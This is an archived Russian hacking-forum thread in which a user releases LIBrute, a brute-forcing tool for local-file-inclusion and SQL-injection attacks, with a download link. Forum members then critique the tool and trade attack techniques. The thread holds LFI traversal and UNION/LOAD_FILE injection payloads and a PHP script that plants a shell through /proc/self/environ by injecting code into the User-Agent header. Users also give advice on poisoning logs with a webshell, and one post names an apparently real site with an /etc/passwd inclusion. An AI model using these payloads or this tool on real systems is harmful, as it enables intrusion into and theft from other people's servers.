PDA

Просмотр полной версии : LIBrute


[x26]VOLAND
09.12.2009, 17:14
LIBrute

http://wonted.ru/LIBrute_preview.png (http://wonted.ru/LIBrute.png)

Небольшая утилита представляет из себя средство автоматизации при проведении LFI.
Функционал заключается в подборе файлов на удалённой машине по словарю путём подстановки локального url файла (например: ../../../../../../etc/httpd/conf/httpd.conf) в заданную HTTP-переменную.

Словари можно взять от сюда:
https://forum.antichat.ru/thread49775.html

[ Возможности ]
[+] Удобный GUI
[+] Поддержка HTTPS
[+] Поддержка прокси (HTTP/HTTPS)
[+] Настройка авторедиректов
[+] Возможность устрановки заголовка User-Agent
[+] Возможность устрановки задержки между попытками
[+] Возможность установки максимального скачиваемого размера страницы
[+] 4 метода атаки:
- Query String (для случаев с mod_rewrite)
- Get
- Post
- Cookie (Get)
[+] Возможность добавления в запрос дополнительных Post и Cookie переменных, которые будут автоматически добавляться в каждый запрос.
[+] Для подстановки имени файла используется макрос {STR}
[+] 2 варианта проверки на наличие файла:
- по поиску заданной строки в странице
- по изменению размера страницы
[+] Режим атака сразу нескольких сайтов
[+] Редактор настроек для атакуемых сайтов
- возможность детальной настройки каждого сайта в отдельности
- возможность загрузки списка атакуемых сайтов из файла
- автоматический парсинг URL (в URL каждого сайта должен присутствовать макрос {STR}
- целевая Get/Post/Cookie переменная передаются в программу одинаково - в виде обычной стоки запроса (http://site.com/?var={STR}%00), тип переменной указывается отдельно
[+] Можно использовать сразу несколько словарей (например словарь локаций php.ini + httpd.conf, и т.д.)
[+] Имеется возможность кодирования значения в Url или Hex (для атаки через SQL-инъекцию).

Примечания:
- Программа требует наличия .NET Framework >= 2.0

Примеры использования

1. Ищем файлы через LFI:
http://site.com/index.php?page=news&lang=[файл]%00

Настройки для брута будут такими:
Целевой URL: http://site.com/index.php?page=news
Метод: GET
Имя переменной: lang
Значение переменной: {STR}%00
Способ индикации: по размеру страницы

2. Ищем файлы через SQL-инъекцию:
http://site.com/index.php?id=-1+UNION+SELECT+1,LOAD_FILE([файл]),3--

Настройки:
Целевой URL: http://site.com/index.php
Метод: GET
Имя переменной: id
Значение переменной: -1+UNION+SELECT+1,LOAD_FILE({STR}),3--
Кодирование: Hex
Способ индикации: по размеру страницы

3. Ищем имя таблицы:
http://site.com/index.php?id=-1+UNION+SELECT+1,2,3+FROM+[таблица]--

Настройки:
Целевой URL: http://site.com/index.php
Метод: GET
Имя переменной: id
Значение переменной: -1+UNION+SELECT+31337,2,3+FROM+{STR}--
Способ индикации: Присутствие текста 31337

Как видите, варианты использования ограничиваются только вашей фантазией.

Просьба потестить в полевых условиях.

[ Скачать ]
LIBrute.zip (http://wonted.ru/LIBrute.zip)

SQLHACK
09.12.2009, 18:10
Без обид , Вариант №9. ))

slesh
09.12.2009, 18:42
я такую писал чуть больше 2-х лет назад и выкладывал на ачает в паблике с названием lisearch
Функционал предполагал
- сразу проверять множество сайтов
- поддержка HTTP прокси
- таймауты на получение данных
- максимальный размер данных которые скачивать (полезно когда инклудиш логи и они могут быть дофига метров)
- поле - что искать
- поле - чего не должно быть
- задание кол-ва потоков
- поддержка макроса [X] - куда будет вставлятсья текст
- HEX кодирование (если шел подбор через SQL inj через LOAD_FILE)
- HTTP кодирование

Прожка была сыровата, кривовата, но функции свои выполняла, хаотя и была написана на Delphi )
-----------
Ели нашел свой пост с прожкой - http://forum.antichat.ru/nextnewesttothread45249.html
----------
Но вообще более полезным была бы не прога, а скрипт перловый с web интерфесом потому что каналы серваков намного больше чем юзверьские. Да и юзать из любого места можно, достаточно ввести адрес, авторизоваться и можно работать )

slesh
09.12.2009, 18:54
Зачем сразу удалять, будет как альтернатива для комплекта )
Но вообще Perl версия нужнее или хотябы PHP

[x26]VOLAND
10.12.2009, 12:06
Добавил кодирование (надеюсь, slesh не обидится).

[x26]VOLAND
14.12.2009, 10:12
Если есть возможность, протестируйте на хосте с https.

B1t.exe
14.12.2009, 14:05
Вот очень бы хотел ман для "бестолковых" :))
хотел бы поэкспереминтировать, только вот не знаю ключевые моменты, такие как Имя переменной: lang
Значение переменной: {STR}%00
и другие параметры..
если не сложно - напишите пожалуйста.. Обещаю проверить )))

DeluxeS
14.12.2009, 15:47
Вот очень бы хотел ман для "бестолковых" :))
хотел бы поэкспереминтировать, только вот не знаю ключевые моменты, такие как Имя переменной: lang
Значение переменной: {STR}%00
и другие параметры..
если не сложно - напишите пожалуйста.. Обещаю проверить )))
На GET запросе выглядить будет так:
Имя переменной:
inc.
Значение переменной:
article.
В итоге запрос будет выглядить будет так:
site.ru/index.php?inc=article
Это был GET.

<?php
include($_GET['inc'].'php'.); # Инклуд гетом
?>
Про POST почти также, только там формы, пхп код:

<?php
include($_POST['inc'].'php'.); #Инклуд постом
?>

B1t.exe
14.12.2009, 15:52
вот именно, что не знаю откуда брать самостоятельно эти значение..

DeluxeS
14.12.2009, 16:01
ТС, img (http://gyazo.com/7104b99d506aa7d484b20fd2f84ba3ea.png) Что это? Фреймворка 2.0 нет?

[x26]VOLAND
14.12.2009, 16:43
перекачай.

Matnya
14.12.2009, 17:59
Собирался аналогичную писать.

ЗЫ прогу потестил. не очень понравилось.
слишком навящивый фуннкционал.
нахуя там переменую вставлять?
нахуя всякие счётчики трафика? в деревне живёшь?
короче ТС делать было просто не xyй.

надо было сделать поле, куда путь например до /etc/passwd копипаститься. а прога сама отпрасит, где корень, и где какая переменная.

и нет автозаливателся шелла в /proc/self/environ , что очень важно.

ещё бы можно было добавиь парсер темы с инклудами на ачате. что вообще прекрасно бы было. и ещё надо сделать список с инлудами, чтобы сканить сразу 10 инлудов и пить кофе в это время.

короче написано на языке для блондинок (C#), блондином.

будет время сам на C++ Builder напишу, а позже и на WinSock перепишу.

DeluxeS
14.12.2009, 18:28
Мат неуместен =/, учитесь выражать мысли
Такое и на php можно накодить.
PS: Добавьте выбор задержки в мс :)

[x26]VOLAND
14.12.2009, 18:28
нахуя там переменую вставлять?Как ты собрался брутить если у тебя будет LFI в POST или Cookie?

нахуя всякие счётчики трафика? в деревне живёшь?Для красоты.,,

ещё бы можно было добавиь парсер темы с инклудами на ачате. что вообще прекрасно бы былоПривязка к конкретному сайту - не комильфо с точки зрения архитектуры.

и ещё надо сделать список с инлудами, чтобы сканить сразу 10 инлудов и пить кофе в это время.Планируется.

блондином:(

И вообще, чего ты такой нервный?
Расслабься, выпей чаю...

Pashkela
14.12.2009, 18:33
и нет автозаливателся шелла в /proc/self/environ , что очень важно.


большего бреда в жизни не читал. Автоматизация залития шелла - это сильно (в случае брута путей). Нереально сильно. Вот сам лентяй, но чтобы "шелл ручками было западло залить" - не, ну это шедеврально. Кроме того, что просто глупо.

slesh
14.12.2009, 18:49
2 Matnya

короче написано на языке для блондинок (C#), блондином.
будет время сам на C++ Builder напишу, а позже и на WinSock перепишу.


По твоей логики, можно сказать что Delphi - для умственно отсталых.
А если учесть что C++ Builder - это таже жопа, только с другова ракурса, то мне страшно подумать кто ты тогда.

и нет автозаливателся шелла в /proc/self/environ , что очень важно.

Ты жжош. вариант залива шела через него невелик. Темболее что есть куда других альтернатив. И ты предлагаешь их всех реализовывать в проге?
Может ты хочешь вообще прогу с полем ввода сайта и кнопкой ХАК??


И вообще в таких проектах не имеет значение на каком языке они написаны, потому что тут врядли будет такая уж большая скорость брута, чтобы заметить разницу в производительности языков

shellz[21h]
14.12.2009, 18:55
Автору плюсы за старание!
И вообще в таких проектах не имеет значение на каком языке они написаны, потому что тут врядли будет такая уж большая скорость брута, чтобы заметить разницу в производительности языков
С точки зрение кроссплатформенности имеет значение)

Matnya
14.12.2009, 20:07
большего бреда в жизни не читал.

Да ладно??!!


Автоматизация залития шелла - это сильно (в случае брута путей). Нереально сильно. Вот сам лентяй, но чтобы "шелл ручками было западло залить" - не, ну это шедеврально. Кроме того, что просто глупо.
Я имею автоматизацию залития в /proc/self/environ
а не в др. логи. это вполне выполнимо легко. скрипт кодил 1 минуту на пыхе. там тупо код в юзер агент выставляеться. надо сделать так: если /proc/self/environ существует, то прога залвает шелл через него.

<?php
$host = "www.ыапывпывпывп.org";
$port = 80;
$script = "/index.php?page=../../../../../../../proc/self/environ";
$sock = fsockopen($host,$port);
if(!$sock)
echo "Error";
else
{
$head = "POST $script HTTP/1.1\r\n";
$head .= "Host: $host\r\n";
$head .= 'User-Agent: <?php fwrite(fopen("shell.php","w+"),"<?php phpinfo(); ?>");?>\r\n';
$head .= "Accept-Language: ru\r\n";
$head .= "Content-Type: application/x-www-form-urlencoded\r\n";
$head .= "Content-Lenght: ".strlen("<?php phpinfo(); ?>")."\r\n";
$head .= "\r\n<?php phpinfo(); ?>\r\n";
fwrite($sock,$head);
while(!feof($sock))
{
$respons .= fgets($sock,1024);
}
fclose($sock);
}
?>


Ты жжош. вариант залива шела через него невелик.

ну ты мега-кодер просто не знаеш что такое /proc/self/environ. ты же встётаки масдайщег-кодер ;)
если на сайте инлудиться это файлег, то 100% шелл.

И вообще в таких проектах не имеет значение на каком языке они написаны, потому что тут врядли будет такая уж большая скорость брута, чтобы заметить разницу в производительности языков
Бред. Ачат вроде как хек прожект. А те, кто кроме пыха и подстоновки кавычек нихуя больше не умеют, те не хеккеры. Кстати я бы в РОА не брал тех кто не умеют на сях кодить

DeluxeS
14.12.2009, 20:44
я бы в РОА не брал тех кто не умеют на сях кодить
А кого волнует твоё мнение?))

Matnya
14.12.2009, 20:45
А кого волнует твоё мнение?))
свали в туман. не тебе был пост.

Pashkela
14.12.2009, 21:34
2 Matnya:

Если поймал /proc/self/environ, то это вовсе не значит, что можно залить шелл в текущую папку, что текущая папка доступна на запись. Так что таки бред. Или тебе еще автоматом врайтэйбл проверить? Смешной парень

shellz[21h]
14.12.2009, 23:04
Не стоит обращать внимание на этого клоуна, он себя возомнил кулхацкером :)

Matnya
15.12.2009, 00:07
2 Matnya:

Если поймал /proc/self/environ, то это вовсе не значит, что можно залить шелл в текущую папку, что текущая папка доступна на запись. Так что таки бред. Или тебе еще автоматом врайтэйбл проверить? Смешной парень

в таком случае, мона сделать тулзу которая выполняет просто произвольный пых код, например команды на серве и т.д. так как юзать вручную в таком случае это чудо-файлег неудобно. или как ты говориш проверка на вритебле. в C# это легко реалтзовать.

кстати никогда не встречал, чтобы при /proc/self/environ
не было прав записи в диру. Обычно на этот файл выставляют такие права на чтение в WEB токо на жопоруко натроенных сервах/хостингах => почему на жопоруко натроенных сервах/хостингах должны быть граммотно выставлены права в папках??????!!!!! так что 99% я прав.

']Не стоит обращать внимание на этого клоуна, он себя возомнил кулхацкером :)
:D

gisTy
15.12.2009, 07:18
в C# это легко реалтзовать.
пиздуй, реализовывай
кстати никогда не встречал, чтобы при /proc/self/environ
не было прав записи в диру. Обычно на этот файл выставляют такие права на чтение в WEB токо на жопоруко натроенных сервах/хостингах => почему на жопоруко натроенных сервах/хостингах должны быть граммотно выставлены права в папках??????!!!!! так что 99% я прав.обычно на польщовательские папки устанавливает права админ сайта, а не хостинга, не?
и да, масс рутинг страничек васи пупкина решает

slesh
15.12.2009, 10:19
2 Matnya
Насчет того что энвирон пашет - хз. Частенько попадал на такие места где его нет.
И довольно чаще, те где можно было юзать лог апача. Так что незнаю что ты там ломал всё время, локалхост или домашнюю страничку тёти Клавы.

Да и если админ не криворукий, то на всю вебдиру стоит только чтение, за исключением папки для аплоадов, которая прикрыта htaccess'ом с запретом выполнения скриптов.

>> ты же встётаки масдайщег-кодер <<<
Если основной заработок кодинг, то это еще не значит, что не умею ломать. А вот судя по тебе - ты мультиак забаненного юзверя.
темболее что пишешь сам коряво. Даже на глаз видно что твой скрипт пахать не будет нормально. Будет работать, но не так как хотелось.

$head .= 'User-Agent: <?php fwrite(fopen("shell.php","w+"),"<?php phpinfo(); ?>");?>\r\n';

\r\n не пашет заключенным в апострофы.

Twoster
15.12.2009, 10:38
если на сайте инлудиться это файлег, то 100% шелл.

не 100%

shuba
15.12.2009, 12:22
Matnya , сначала свое сделай...а потом критикуй!

[x26]VOLAND
15.12.2009, 12:51
Matnya , сначала свое сделай...а потом критикуй!Критика как раз таки нужна.... Не нужны неадекваты в теме.

Matnya
15.12.2009, 15:35
2 Matnya
Насчет того что энвирон пашет - хз. Частенько попадал на такие места где его нет.
И довольно чаще, те где можно было юзать лог апача.

да, енвирон - большая редкость. в теме с инклудами токо каждый ~15 инлудит енвирон.

А логи апача сцуки длинные часто.

Ладно всё. ВЫВОД: Прога на оценку 4. но не на 5.

пойду свою писать.

slesh
15.12.2009, 18:55
2 Matnya кстати, логи апача никто не заставляет целеком грузить. Достаточно закинуть промежуточный шел в лог, и заинклудить лог. Как только появятся данные, так можно закрывать соединение. Один раз тока попался лог на 300 метров который апач не смог подинклудить.

[x26]VOLAND
15.12.2009, 20:01
Обновление:
[+] Режим атака сразу нескольких сайтов
[+] Редактор настроек для атакуемых сайтов
- возможность детальной настройки каждого сайта в отдельности
- возможность загрузки списка атакуемых сайтов из файла
- автоматический парсинг URL (в URL каждого сайта должен присутствовать макрос {STR}
- целевая Get/Post/Cookie переменная передаются в программу одинаково - в виде обычной стоки запроса (http://site.com/?var={STR}%00), тип переменной указывается отдельно

DeluxeS
15.12.2009, 22:00
ТС, какой по дефолту таймаут? Добавь поддержку :)

Matnya
15.12.2009, 22:16
2 Matnya кстати, логи апача никто не заставляет целеком грузить. Достаточно закинуть промежуточный шел в лог, и заинклудить лог. Как только появятся данные, так можно закрывать соединение. Один раз тока попался лог на 300 метров который апач не смог подинклудить.

интересненько, мой код, оставленный в логе, попадает обычно в конец файла? так ведь! и чтобы код заинлудить,надо проитать весь файл. а он монго может весить

slesh
15.12.2009, 23:10
2 Matnya когда файл инклудишь, то сначало на серваке он загружается, в нем выполняется скрипт и только потом начинается отдача файла. Ну или параллельно идет отдача и обработка, но по любому скрипт успевает обработаться (но это редко).
По этому можно не беспокоиться что шел в конце. Такая фишка будет работать в 99% случаях.

B1t.exe
16.12.2009, 00:56
Может кто небудь снимет видео как работать с этой прогой в деле?

Matnya
16.12.2009, 01:20
Может кто небудь снимет видео как работать с этой прогой в деле?

ппц. что тут снимать? совсем уже ахуели. может ещё придти к тебе домой и носом тыкнуть??!!

[x26]VOLAND
16.12.2009, 04:54
ТС, какой по дефолту таймаут? Добавь поддержкуДобавил.
Просьба ко всем перекачать программу заново.
Исправлено много недочётов.

Может кто небудь снимет видео как работать с этой прогой в деле?Для начала добудь где-нибудь рабочую LFI. Затем делай как показано у меня в примере.

ADD:
Обновление:
[+] Настройка авторедиректов
[+] Возможность устрановки задержки между попытками
[+] Возможность установки максимального скачиваемого размера страницы (для инклуда логов)

ADD:
Обновил до 1.3.3.
Немного доработан интерфейс + добавлена пара настроек.

[x26]VOLAND
20.12.2009, 16:47
[+] Возможность устрановки заголовка User-Agent
[+] Возможность добавления в запрос дополнительных Post и Cookie переменных, которые будут автоматически добавляться в каждый запрос.Последнее будет полезно, когда на сайте необходима авторизация...

Alf0x0ns
13.01.2010, 18:35
Не знаю писали об этом.

Нужно:
- обновления словарей, а то когда дописал словари приходится вручную перегружать.
- кнопка очистки логов в самой программе.
- кнопка сохранения логов "Cохранить как"

Вопрос зачем кнопка переменная если можно сочинить ссылку с: www.site/i.php?file=index.php&id=1 так www.site/i.php?id=1?file=index.php или я не прав.

[x26]VOLAND
13.01.2010, 19:17
Вопрос зачем кнопка переменная если можно сочинить ссылку с: www.site/i.php?file=index.php&id=1 так www.site/i.php?id=1?file=index.php или я не прав.Для того чтобы обеспечить возможность атаки разными методами (get/post/cookie). И вообще это не должно быть проблемой, так как есть кнопка "Разбор", которая автоматически парсит URL.

обновления словарей, а то когда дописал словари приходится вручную перегружать.Непосредствен о перед атакой словари автоматически перезагружаются.
Сделал обновление счётчика при начале атаки.

AFoST
14.01.2010, 13:32
Столкнулся с проблемой. Нашел sql с модрерайтом.
ссылка вида:
http://site/pew/%27+union+select+1,2,3,4,5,6,7,8,9,10,11,12,13,14+ from+users+%23
вывода нет. то есть блайн sql. было бы шикарно, чтобы реализовывался брут не только по переменным, а + в том месте, где её как таковой не просматривается.
т.е. в настройках вбить:
целевой url: http://site/pew/%27+union+select+1,2,3,4,5,6,7,8,9,10,11,12,13,14+ from+{STR}+%23
нажать брут и понеслась.

Alf0x0ns
14.01.2010, 19:18
На рассмотрение автора.

- было бы не плохо если пункт "Присутствие текста" был бы чуть модифицирован.

Ну припустим чтоб можно было искать не один текст, а несколько. Ну для удобства можно было добавить возможность поиска текста на примере такого шаблону:

(К каждому пункту который будет выбран в шаблоне поиска текста, чтоб можно было бы прикреплять словари отдельно, а если не прикреплять словарь то использовался загальный словарь по дефолту)

LFI catalogs | Search text | Add dictionary
etc/passwd | root,admin,user,ftp... | D:\...
proc | Apache,HTTP_USER_AGENT,%00... | D:\...

[x26]VOLAND
19.01.2010, 17:46
было бы шикарно, чтобы реализовывался брут не только по переменным, а + в том месте, где её как таковой не просматривается.Сделал.

[x26]VOLAND
22.01.2010, 20:42
Перекачайте. Убран глюк с конфигом.

shell_c0de
22.01.2010, 22:32
что то не разобрался =\
напрмер LFI http://www.embavenez-us.org/index.php?pagina=../../../../../../../../../../../../../../../../../../etc/passwd
какими настройками ставите ? а то у меня никак не хочет робит =\

[x26]VOLAND
23.01.2010, 06:16
1й пост читаем.

linuxkernal
31.03.2010, 16:49
Hi

any video tutorial of this software how to use this software

Thank you

HellFire
17.04.2010, 11:55
Во время брута допустим нужно остановиться, а продолжить после "стоп" нельзя...только заново...

Можно прикрутить кнопку пауза\продолжить ?

sasha_ba4on0K
17.04.2010, 13:08
прога на 4-

Life7
17.04.2010, 14:50
Собирался аналогичную писать.

ЗЫ прогу потестил. не очень понравилось.
слишком навящивый фуннкционал.
нахуя там переменую вставлять?
нахуя всякие счётчики трафика? в деревне живёшь?
короче ТС делать было просто не xyй.

надо было сделать поле, куда путь например до /etc/passwd копипаститься. а прога сама отпрасит, где корень, и где какая переменная.

и нет автозаливателся шелла в /proc/self/environ , что очень важно.

ещё бы можно было добавиь парсер темы с инклудами на ачате. что вообще прекрасно бы было. и ещё надо сделать список с инлудами, чтобы сканить сразу 10 инлудов и пить кофе в это время.

короче написано на языке для блондинок (C#), блондином.

будет время сам на C++ Builder напишу, а позже и на WinSock перепишу.